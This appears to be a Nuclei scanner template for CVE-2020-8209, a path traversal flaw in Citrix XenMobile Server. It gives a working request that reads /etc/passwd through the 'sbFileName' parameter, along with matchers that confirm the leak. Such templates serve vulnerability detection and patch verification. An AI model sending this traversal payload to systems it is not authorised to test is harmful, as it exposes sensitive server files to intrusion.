id: CVE-2020-8209

info:
  name: Citrix XenMobile Server - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: |
    Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6, and Citrix XenMobile Server before 10.9 RP5 are susceptible to local file inclusion vulnerabilities.
    reference:
    - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
    - https://support.citrix.com/article/CTX277457
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
  impact: |
    An attacker can access sensitive information stored on the server, potentially leading to further compromise or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by Citrix to fix the vulnerability.
  reference:
    - https://support.citrix.com/article/CTX277457
    - https://github.com/Miraitowa70/POC-Notes
    - https://github.com/dudek-marcin/Poc-Exp
    - https://github.com/hectorgie/PoC-in-GitHub
    - https://github.com/pen4uin/vulnerability-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-8209
    cwe-id: CWE-22
    epss-score: 0.92198
    epss-percentile: 0.99719
    cpe: cpe:2.3:a:citrix:xenmobile_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: xenmobile_server
  tags: cve2020,cve,citrix,lfi,xenmobile

http:
  - method: GET
    path:
      - "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "fileDownload=true"
          - "application/octet-stream"
          - "attachment;"
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4b0a004830460221009c41b6d458e8405b36f413828e952a773c02d160f5201c199e6efd9f0595eb71022100aced4246de9c7c9e5f29e0461c6b2c6c61adb7652641e5565a0efbe365cd62de:922c64590222798bb761d5b6d8e72950